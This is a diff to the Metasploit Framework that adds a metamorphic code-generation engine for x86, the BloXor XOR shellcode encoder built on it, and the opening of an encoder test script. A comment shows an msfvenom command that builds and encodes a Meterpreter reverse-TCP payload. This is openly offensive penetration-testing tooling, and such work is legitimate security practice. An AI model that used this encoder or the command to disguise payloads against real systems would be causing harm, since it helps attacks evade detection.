permutation.offset = @offset + @offset += permutation.length + @permutations.push( permutation ) + @reg_state.push( [ [].concat(reg_available), [].concat(reg_consumed), {}.merge(variables) ] ) + end + + # + # Pop off the last permutaion and register/variables state from this solution. + # + def pop + reg_available, reg_consumed, variables = @reg_state.pop + permutation = @permutations.pop + permutation.active = false + permutation.offset = 0 + @offset -= permutation.length + return permutation, reg_available, reg_consumed, variables + end + + # + # Render the final buffer. + # + def buffer + previous_offset = nil + count = 0 + # perform an N-pass fixup for offsets... + while( true ) do + # If we cant get the offsets fixed within a fixed ammount of tries we return + # nil to indicate failure and keep searching for a solution that will work. + if( count > 64 ) + return nil + end + # Reset the solution offset so as to update it for this pass + @offset = 0 + # perform a single pass to ensure we are using the correct offset values + @permutations.each do | permutation | + permutation.offset = @offset + # Note: calling render() can throw both UndefinedPermutation and UnallowedPermutation exceptions, + # however as we assume we only ever return the buffer once a final solution has been generated + # we should never have either of those exceptions thrown. + permutation.render + @offset += permutation.length + end + # If we have generated two consecutive passes which are the same length we can stop fixing up the offsets. + if( not previous_offset.nil? and @offset == previous_offset ) + break + end + count +=1 + previous_offset = @offset + end + # now a final pass to render the solution into the raw buffer + raw = '' + @permutations.each do | permutation | + #$stderr.puts "#{permutation.name} - #{ "0x%08X (%d)" % [ permutation.offset, permutation.length] } " + raw << permutation.render + end + return raw + end + + end + + # + # Create a new machine instance. + # + def initialize( badchars, cpu ) + @badchars = badchars + @cpu = cpu + + @reg_available = ::Array.new + @reg_consumed = ::Array.new + @variables = ::Hash.new + @blocks = ::Hash.new + @primitives = ::Hash.new + @solution = Solution.new + + _create_primitives + + @blocks['begin'] = Block.new( 'begin' ) + @blocks['begin'] << SymbolicPermutation.new( 'begin', self ) + + _create_variable( 'temp' ) + end + + # + # Overloaded by a subclass to return the maximum native general register size supported. + # + def native_size + nil + end + + # + # Use METASM to assemble a line of asm using this machines current cpu. + # + def assemble( asm ) + return Metasm::Shellcode.assemble( @cpu, asm ).encode_string + end + + # + # Check if a data blob is valid against the badchar list (or perform any other validation here) + # + def is_valid?( data ) + if( data.nil? ) + return false + end + return Rex::Text.badchar_index( data, @badchars ).nil? + end + + # + # Generate a 64 bit number whoes bytes are valid in this machine. + # + def make_safe_qword( number=nil ) + return _make_safe_number( QWORD, number ) & 0xFFFFFFFFFFFFFFFF + end + + # + # Generate a 32 bit number whoes bytes are valid in this machine. + # + def make_safe_dword( number=nil ) + return _make_safe_number( DWORD, number ) & 0xFFFFFFFF + end + + # + # Generate a 16 bit number whoes bytes are valid in this machine. + # + def make_safe_word( number=nil ) + return _make_safe_number( WORD, number ) & 0xFFFF + end + + # + # Generate a 8 bit number whoes bytes are valid in this machine. + # + def make_safe_byte( number=nil ) + return _make_safe_number( BYTE, number ) & 0xFF + end + + # + # Create a variable by name which will be assigned a register during generation. We can + # optionally assign a static register value to a variable if needed. + # + def create_variable( name, reg=nil ) + # Sanity check we aren't trying to create one of the reserved variables. + if( name == 'temp' ) + raise RuntimeError, "Unable to create variable, '#{name}' is a reserved variable name." + end + return _create_variable( name, reg ) + end + + # + # If the temp variable was assigned we release it. + # + def release_temp_variable + if( @variables['temp'] ) + regnum = @variables['temp'] + # Sanity check the temp variable was actually assigned (it may not have been if the last permutation didnot use it) + if( regnum ) + # place the assigned register back in the available list for consumption later. + @reg_available.push( @reg_consumed.delete( regnum ) ) + # unasign the temp vars register + @variables['temp'] = nil + return true + end + end + return false + end + + # + # Resolve a variable name into its currently assigned register value. + # + def variable_value( name, size=nil ) + # Sanity check we this variable has been created + if( not @variables.has_key?( name ) ) + raise RuntimeError, "Unknown register '#{name}'." + end + # Pull out its current register value if it has been assigned one + regnum = @variables[ name ] + if( not regnum ) + regnum = @reg_available.pop + if( not regnum ) + raise RuntimeError, "Unable to assign variable '#{name}' a register value, none available." + end + # and add it to the consumed list so we can track it later + @reg_consumed << regnum + # and now assign the variable the register + @variables[ name ] = regnum + end + # resolve the register number int a string representation (e.g. 0 in x86 is EAX if size is 32) + return _register_value( regnum, size ) + end + + # + # Check this solution is still currently valid (as offsets change it may not be). + # + def solution_is_valid? + return self.is_valid?( @solution.buffer ) + end + + # + # As the solution advances we save state for each permutation step in the solution. This lets + # use rewind at a later stage if the solving algorithm wishes to perform some backtracking. + # + def solution_push( permutation ) + @solution.push( permutation, @reg_available, @reg_consumed, @variables ) + end + + # + # Backtrack one step in the solution and restore the register/variable state. + # + def solution_pop + permutation, @reg_available, @reg_consumed, @variables = @solution.pop + + @reg_available.push( @reg_available.shift ) + end + + # + # Create a block by name and add in its list of permutations. + # + # XXX: this doesnt support the fuzzy order of block dependencies ala the origional rex::poly + def create_block( name, *permutation_sources ) + # Sanity check we aren't trying to create one of the reserved symbolic blocks. + if( name == 'begin' or name == 'end' ) + raise RuntimeError, "Unable to add block, '#{name}' is a reserved block name." + end + # If this is the first time this block is being created, create the block object to hold the permutation list + if( not @blocks[name] ) + @blocks[name] = Block.new( name ) + end + # Now create a new permutation object for every one supplied. + permutation_sources.each do | source | + @blocks[name] << Permutation.new( name, '', self, source ) + end + return name + end + + # + # Create a block which is based on a primitive defined by this machine. + # + def create_block_primitive( block_name, primitive_name, *args ) + # Santiy check this primitive is actually available and is not an internal primitive (begins with an _). + if( not @primitives[primitive_name] or primitive_name[0] == "_" ) + raise RuntimeError, "Unable to add block, Primitive '#{primitive_name}' is not available." + end + # Sanity check we aren't trying to create one of the reserved symbolic blocks. + if( block_name == 'begin' or block_name == 'end' ) + raise RuntimeError, "Unable to add block, '#{block_name}' is a reserved block name." + end + return _create_block_primitive( block_name, primitive_name, *args ) + end + + # + # Get the offset for a blocks active permutation. This is easy for backward references as + # they will already have been rendered and their sizes known. For forward references we + # can't know in advance but the correct value can be known later once the final solution is + # available and a final pass to generate the raw buffer is made. + # + def block_offset( name ) + if( name == 'end' ) + return @solution.offset + elsif( @blocks[name] ) + @blocks[name].each do | permutation | + if( permutation.active ) + return permutation.offset + end + end + end + # If we are forward referencing a block it will be at least the current solutions offset +1 + return @solution.offset + 1 + end + + # + # Does a given block exist? + # + def block_exist?( name ) + return @blocks.include?( name ) + end + + # + # Does a given block exist? + # + def variable_exist?( name ) + return @variables.include?( name ) + end + + # XXX: ambiguity between variable names and block name may introduce confusion!!! make them be unique. + + # + # Resolve a given value into either a number literal, a block offset or + # a variables assigned register. + # + def resolve_value( value, size=nil ) + if( block_exist?( value ) ) + return block_offset( value ) + elsif( variable_exist?( value ) ) + return variable_value( value, size ) + end + return value.to_i + end + + # + # Get the block previous to the target block. + # + def block_previous( target_block ) + previous_block = nil + @blocks.each_key do | current_block | + if( current_block == target_block ) + return previous_block + end + previous_block = current_block + end + return nil + end + + # + # Get the block next to the target block. + # + def block_next( target_block ) + @blocks.each_key do | current_block | + if( block_previous( current_block ) == target_block ) + return current_block + end + end + return nil + end + + # + # Try to generate a solution. + # + def generate + + if( @blocks.has_key?( 'end' ) ) + @blocks.delete( 'end' ) + end + + @blocks['end'] = Block.new( 'end' ) + @blocks['end'] << SymbolicPermutation.new( 'end', self, 1 ) + + # Mix up the permutation orders for each block and create the tree structure. + previous = ::Array.new + @blocks.each_value do | block | + # Shuffle the order of the blocks permutations. + block.shuffle + # create the tree by adding the current blocks permutations as children of the previous block. + current = ::Array.new + block.each do | permutation | + permutation.remove_children + previous.each do | prev | + prev.add_child( permutation ) + end + current << permutation + end + previous = current + end + + # Shuffle the order of the available registers + @reg_available = @reg_available.shuffle + + # We must try every permutation of the register orders, so if we fail to + # generate a solution we rotate the available registers to try again with + # a different order. This ensures we perform and exhaustive search. + 0.upto( @reg_available.length - 1 ) do + + @solution.reset + + # Start from the root node in the solution space and generate a + # solution by traversing the solution space's tree structure. + if( @blocks['begin'].solve ) + # Return the solutions buffer (perform a last pass to fixup all offsets)... + return @solution.buffer + end + + @reg_available.push( @reg_available.shift ) + end + + # :( + nil + end + + # + # An UndefinedPermutation exception is raised when a permutation can't render yet + # as the conditions required are not yet satisfied. + # + class UndefinedPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + # + # An UnallowedPermutation exception is raised when a permutation can't ever render + # as the conditions supplied are impossible to satisfy. + # + class UnallowedPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + # + # An InvalidPermutation exception is raised when a permutation receives a invalid + # argument and cannot continue to render. This is a fatal exception. + # + class InvalidPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + protected + + # + # Overloaded by a subclass to resolve a register number into a suitable register + # name for the target architecture. E.g on x64 the register number 0 with size 64 + # would resolve to RCX. Size is nil by default to indicate we want the default + # machine size, e.g. 32bit DWORD on x86 or 64bit QWORD on x64. + # + def _register_value( regnum, size=nil ) + nil + end + + # + # Perform the actual variable creation. + # + def _create_variable( name, reg=nil ) + regnum = nil + # Sanity check this variable has not already been created. + if( @variables[name] ) + raise RuntimeError, "Variable '#{name}' is already created." + end + # If a fixed register is being assigned to this variable then resolve it + if( reg ) + # Resolve the register name into a register number + @reg_available.each do | num | + if( _register_value( num ) == reg.downcase ) + regnum = num + break + end + end + # If an invalid register name was given or the chosen register is not available we must fail. + if( not regnum ) + raise RuntimeError, "Register '#{reg}' is unknown or unavailable." + end + # Sanity check another variable isnt assigned this register + if( @variables.has_value?( regnum ) ) + raise RuntimeError, "Register number '#{regnum}' is already consumed by variable '#{@variables[name]}'." + end + # Finally we consume the register chosen so we dont select it again later. + @reg_consumed << @reg_available.delete( regnum ) + end + # Create the variable and assign it a register number (or nil if not yet assigned) + @variables[name] = regnum + return name + end + + # + # Create a block which is based on a primitive defined by this machine. + # + def _create_block_primitive( block_name, primitive_name, *args ) + # If this is the first time this block is being created, create the array to hold the permutation list + if( not @blocks[block_name] ) + @blocks[block_name] = Block.new( block_name ) + end + # Now create a new permutation object for every one supplied. + @primitives[primitive_name].each do | source | + @blocks[block_name] << Permutation.new( block_name, primitive_name, self, source, args ) + end + return block_name + end + + # + # Overloaded by a subclass to create any primitives available in this machine. + # + def _create_primitives + nil + end + + # + # Rex::Poly::Machine::Primitive + # + def _create_primitive( name, *permutations ) + # If this is the first time this primitive is being created, create the array to hold the permutation list + if( not @primitives[name] ) + @primitives[name] = ::Array.new + end + # Add in the permutation object (Rex::Poly::Machine::Primitive) for every one supplied. + permutations.each do | permutation | + @primitives[name] << Primitive.new( permutation ) + end + end + + # + # Helper function to generate a number whoes byte representation is valid in this + # machine (does not contain any badchars for example). Optionally we can supply a + # number and the resulting addition/subtraction of this number against the newly + # generated value is also tested for validity. This helps in the assembly primitives + # which can use these values. + # + def _make_safe_number( bytes, number=nil ) + format = '' + if( bytes == BYTE ) + format = 'C' + elsif( bytes == WORD ) + format = 'v' + elsif( bytes == DWORD ) + format = 'V' + elsif( bytes == QWORD ) + format = 'Q' + else + raise RuntimeError, "Invalid size '#{bytes}' used in _make_safe_number." + end + + goodchars = (0..255).to_a + + @badchars.unpack( 'C*' ).each do | b | + goodchars.delete( b.chr ) + end + + while( true ) do + value = 0 + + 0.upto( bytes-1 ) do | i | + value |= ( (goodchars[ rand(goodchars.length) ] << i*8) & (0xFF << i*8) ) + end + + if( not is_valid?( [ value ].pack(format) ) or not is_valid?( [ ~value ].pack(format) ) ) + redo + end + + if( not number.nil? ) + if( not is_valid?( [ value + number ].pack(format) ) or not is_valid?( [ value - number ].pack(format) ) ) + redo + end + end + + break + end + + return value + end + + end + + end + +end diff --git a/lib/rex/poly/machine/x86.rb b/lib/rex/poly/machine/x86.rb new file mode 100644 index 0000000000..e72d7aa2d7 --- /dev/null +++ b/lib/rex/poly/machine/x86.rb @@ -0,0 +1,508 @@ + +module Rex + + module Poly + + # + # A subclass to represent a Rex poly machine on the x86 architecture. + # + class MachineX86 < Rex::Poly::Machine + + def initialize( badchars='', consume_base_pointer=nil, consume_stack_pointer=true ) + super( badchars, Metasm::Ia32.new ) + + @reg_available << Rex::Arch::X86::EAX + @reg_available << Rex::Arch::X86::EBX + @reg_available << Rex::Arch::X86::ECX + @reg_available << Rex::Arch::X86::EDX + @reg_available << Rex::Arch::X86::ESI + @reg_available << Rex::Arch::X86::EDI + @reg_available << Rex::Arch::X86::EBP + @reg_available << Rex::Arch::X86::ESP + + # By default we consume the EBP register if badchars contains \x00. This helps speed + # things up greatly as many instructions opperating on EBP introduce a NULL byte. For + # example, a MOV instruction with EAX as the source operand is as follows: + # 8B08 mov ecx, [eax] + # but the same instruction with EBP as the source operand is as follows: + # 8B4D00 mov ecx, [ebp] ; This is assembled as 'mov ecx, [ebp+0]' + # we can see that EBP is encoded differently with an offset included. We can still + # try to generate a solution with EBP included and \x00 in the badchars list but + # it can take considerably longer. + if( ( consume_base_pointer.nil? and not Rex::Text.badchar_index( "\x00", @badchars ).nil? ) or consume_base_pointer == true ) + create_variable( 'base_pointer', 'ebp' ) + end + + # By default we consume the ESP register to avoid munging the stack. + if( consume_stack_pointer ) + create_variable( 'stack_pointer', 'esp' ) + end + + # discover all the safe FPU instruction we can use. + @safe_fpu_instructions = ::Array.new + Rex::Arch::X86.fpu_instructions.each do | fpu | + if( is_valid?( fpu ) ) + @safe_fpu_instructions << fpu + end + end + end + + # + # The general purpose registers are 32bit + # + def native_size + Rex::Poly::Machine::DWORD + end + + # + # Overload this method to intercept the 'set' primitive with the 'location' keyword + # and create the block with the '_set_variable_location'. We do this to keep a + # consistent style. + # + def create_block_primitive( block_name, primitive_name, *args ) + if( primitive_name == 'set' and args.length == 2 and args[1] == 'location' ) + _create_block_primitive( block_name, '_set_variable_location', args[0] ) + else + super + end + end + + # + # XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable + # of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not + # neccasary but can speed generation up significantly. + # + #def generate + # @blocks.each_value do | block | + # if( block.first.primitive == 'loop' ) + # @variables.delete( block.first.args.first ) + # create_variable( block.first.args.first, 'ecx' ) + # break + # end + # end + # # ...go go go + # super + #end + + protected + + # + # Resolve a register number into a suitable register name. + # + def _register_value( regnum, size=nil ) + value = nil + # we default to a native 32 bits if no size is specified. + if( size.nil? ) + size = native_size() + end + + if( size == Rex::Poly::Machine::DWORD ) + value = Rex::Arch::X86::REG_NAMES32[ regnum ] + elsif( size == Rex::Poly::Machine::WORD ) + value = Rex::Arch::X86::REG_NAMES16[ regnum ] + elsif( size == Rex::Poly::Machine::BYTE ) + # (will return nil for ESI,EDI,EBP,ESP) + value = Rex::Arch::X86::REG_NAMES8L[ regnum ] + else + raise RuntimeError, "Register number '#{regnum}' (size #{size.to_i}) is unavailable." + end + return value + end + + # + # Create the x86 primitives. + # + def _create_primitives + + # + # Create the '_set_variable_location' primitive. The first param it the variable to place the current + # blocks location value in. + # + _create_primitive( '_set_variable_location', + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "mov #{machine.variable_value( 'temp' )}, esp", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "mov #{machine.variable_value( 'temp' )}, esp", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "push esp", + "pop #{machine.variable_value( 'temp' )}", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "fnstenv [ esp - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + [ + "call $+5", + "pop #{machine.variable_value( variable )}", + "push #{machine.block_offset( block ) + 5}", + "pop #{machine.variable_value( 'temp' )}", + "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end, + ::Proc.new do | block, machine, variable | + [ + "db 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0", + "pop #{machine.variable_value( variable )}", + "push #{machine.block_offset( block ) + 5}", + "pop #{machine.variable_value( 'temp' )}", + "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end + ) + + # + # Create the 'loop' primitive. The first param it the counter variable which holds the number of + # times to perform the loop. The second param it the destination block to loop to. + # + _create_primitive( 'loop', + ::Proc.new do | block, machine, counter, destination | + if( machine.variable_value( counter ) != Rex::Arch::X86::REG_NAMES32[ Rex::Arch::X86::ECX ] ) + # we raise and UndefinedPermutation exception to indicate that untill a valid register (ECX) is + # chosen we simply can't render this. This lets the machine know we can still try to use this + # permutation and at a later stage the requirements (counter==ecx) may be satisfied. + raise UndefinedPermutation + end + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + Rex::Arch::X86.loop( offset ) + end, + ::Proc.new do | block, machine, counter, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + [ + "dec #{machine.variable_value( counter )}", + "test #{machine.variable_value( counter )}, #{machine.variable_value( counter )}", + # JNZ destination + "db 0x0F, 0x85 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" + ] + end + ) + + # + # Create the 'xor' primitive. The first param it the variable to xor with the second param value which + # can be either a variable, literal or block offset. + # + _create_primitive( 'xor', + ::Proc.new do | block, machine, variable, value | + [ + "xor #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + # a ^ b == (a | b) & ~(a & b) + [ + "mov #{machine.variable_value( 'temp' )}, #{machine.variable_value( variable )}", + "or #{machine.variable_value( 'temp' )}, #{machine.resolve_value( value )}", + "and #{machine.variable_value( variable )}, #{machine.resolve_value( value )}", + "not #{machine.variable_value( variable )}", + "and #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end + ) + + # + # Create the 'goto' primitive. The first param is a destination block to jump to. + # + _create_primitive( 'goto', + ::Proc.new do | block, machine, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + if( ( offset > 0 and offset > 127 ) or ( offset < 0 and offset < -127 ) ) + raise UnallowedPermutation + end + [ + # short relative jump + "db 0xEB db #{ "0x%02X" % [ offset & 0xFF ] }" + ] + end, + ::Proc.new do | block, machine, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + [ + # near relative jump + "db 0xE9 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" + ] + end + ) + + # + # Create the 'add' primitive. The first param it the variable which will be added to the second + # param, which may either be a literal number value, a variables assigned register or a block + # name, in which case the block offset will be used. + # + _create_primitive( 'add', + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "lea #{machine.variable_value( variable )}, [ #{machine.variable_value( variable )} + #{machine.resolve_value( value )} ]" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "push #{machine.resolve_value( value )}", + "add #{machine.variable_value( variable )}, [esp]", + "pop #{machine.variable_value( 'temp' )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "add #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }" + ] + end + # ::Proc.new do | block, machine, variable, value | + # if( machine.variable_exist?( value ) ) + # raise UnallowedPermutation + # end + # [ + # "push #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }", + # "pop #{machine.variable_value( 'temp' )}", + # "not #{machine.variable_value( 'temp' )}", + # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + # ] + # end, + # ::Proc.new do | block, machine, variable, value | + # if( machine.variable_exist?( value ) ) + # raise UnallowedPermutation + # end + # [ + # "xor #{machine.variable_value( 'temp' )}, #{machine.variable_value( 'temp' )}", + # "mov #{machine.variable_value( 'temp', 16 )}, #{ "0x%04X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFF ] }", + # "not #{machine.variable_value( 'temp', 16 )}", + # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + # ] + # end, + ) + + # + # Create the 'set' primitive. The first param it the variable which will be set. the second + # param is the value to set the variable to (a variable, block or literal). + # + _create_primitive( 'set', + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "push #{ "0x%08X" % [ ~machine.resolve_value( value ) & 0xFFFFFFFF ] }", + "pop #{machine.variable_value( variable )}", + "not #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + if( machine.resolve_value( value, WORD ) > 0xFFFF ) + raise UndefinedPermutation + end + [ + "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", + "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ ~machine.resolve_value( value, WORD ) & 0xFFFF ] }", + "not #{machine.variable_value( variable, WORD )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "push #{machine.resolve_value( value )}", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "mov #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + if( machine.resolve_value( value, WORD ) > 0xFFFF ) + raise UndefinedPermutation + end + [ + "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", + "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ machine.resolve_value( value, WORD ) & 0xFFFF ] }" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + dword = machine.make_safe_dword( machine.resolve_value( value ) ) + [ + "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword ] }", + "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + dword = machine.make_safe_dword( machine.resolve_value( value ) ) + [ + "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }", + "add #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~dword & 0xFFFFFFFF ] }", + "not #{machine.variable_value( variable )}" + ] + end + ) + + # + # Create the 'load' primitive. The first param it the variable which will be set. The second + # param is the value (either a variable or literal) to load from. the third param is the size + # of the load operation, either DWORD, WORD or BYTE. + # + _create_primitive( 'load', + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]" ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ "movzx #{machine.variable_value( variable )}, word [#{machine.resolve_value( value )}]" ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ "movzx #{machine.variable_value( variable )}, byte [#{machine.resolve_value( value )}]" ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + # we raise and UnallowedPermutation here as this permutation should only satisfy requests for + # sizes of WORD or BYTE, any DWORD requests will be satisfied by the above permutation (otherwise + # we would just be duplicating a 'mov dest, [src]' sequence which is the same as above. + raise UnallowedPermutation + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", + "shl #{machine.variable_value( variable )}, 16", + "shr #{machine.variable_value( variable )}, 16" + ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ + "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", + "shl #{machine.variable_value( variable )}, 24", + "shr #{machine.variable_value( variable )}, 24" + ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}" + ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}", + "shl #{machine.variable_value( variable )}, 16", + "shr #{machine.variable_value( variable )}, 16" + ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}", + "shl #{machine.variable_value( variable )}, 24", + "shr #{machine.variable_value( variable )}, 24" + ] + else + raise InvalidPermutation + end + result + end + ) + + # + # Create the 'store' primitive. + # + _create_primitive( 'store', + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ "mov [#{machine.variable_value( variable )}], #{machine.resolve_value( value )}" ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ "mov word [#{machine.variable_value( variable )}], #{machine.resolve_value( value, WORD )}" ] + elsif( size == Rex::Poly::Machine::BYTE ) + if( machine.resolve_value( value, BYTE ).nil? ) + # so long as we cant resolve the variable to an 8bit register value (AL,BL,CL,DL) we must raise + # an UndefinedPermutation exception (this will happen when the variable has been assigned to ESI, + # EDI, EBP or ESP which dont have a low byte representation) + raise UndefinedPermutation + end + result = [ "mov byte [#{machine.variable_value( variable )}], #{machine.resolve_value( value, BYTE )}" ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ + "push #{machine.resolve_value( value )}", + "pop [#{machine.variable_value( variable )}]" + ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "push #{machine.resolve_value( value, WORD )}", + "pop word [#{machine.variable_value( variable )}]" + ] + else + # we can never do this permutation for BYTE size (or any other size) + raise UnallowedPermutation + end + result + end + ) + end + + end + + end + +end \ No newline at end of file diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb new file mode 100644 index 0000000000..a2577bc89f --- /dev/null +++ b/modules/encoders/x86/bloxor.rb @@ -0,0 +1,58 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex/encoder/bloxor/bloxor' + +# +# BloXor is a cross architecture metamorphic block based xor encoder/decoder for Metasploit. +# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb) +# by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape. +# +# Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to +# ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the +# backend metamorphic stuff. +# +# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a +# metamorphic packer for PE executables and also uses METASM. I am unaware of any code having +# been publicly released for this, so am unable to compare implementations. +# http://census-labs.com/media/packing-heat.pdf +# +# Manually check the output with the following command: +# >ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 - +# + +class Metasploit3 < Rex::Encoder::BloXor + + # Note: Currently set to manual, bump it up to automatically get selected by the framework. + # Note: BloXor by design is slow due to its exhaustive search for a solution. + Rank = ManualRanking + + def initialize + super( + 'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder', + 'Version' => '$Revision$', + 'Description' => 'A Metamorphic Block Based XOR Encoder.', + 'Author' => [ 'sf' ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Unspecified + ) + end + + def compute_decoder( state ) + + @machine = Rex::Poly::MachineX86.new( state.badchars ) + + super( state ) + end + +end diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb new file mode 100644 index 0000000000..d59df128ea --- /dev/null +++ b/test/tests/test_encoders.rb @@ -0,0 +1,119 @@ +# +# Simple script to test a group of encoders against every exploit in the framework, +# specifically for the exploits badchars, to see if a payload can be encoded. We ignore +# the target arch/platform of the exploit as we just want to pull out real world bad chars. +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) + +require 'fastlib' +require 'msfenv' +require 'msf/base' + +$msf = Msf::Simple::Framework.create + +EXPLOITS = $msf.exploits + +def print_line( message ) + $stdout.puts( message ) +end + +def format_badchars( badchars ) + str = '' + if( badchars ) + badchars.each_byte do | b | + str << "\\x%02X" % [ b ] + end + end + str +end + +def encoder_v_payload( encoder_name, payload, verbose=false ) + success = 0 + fail = 0 + 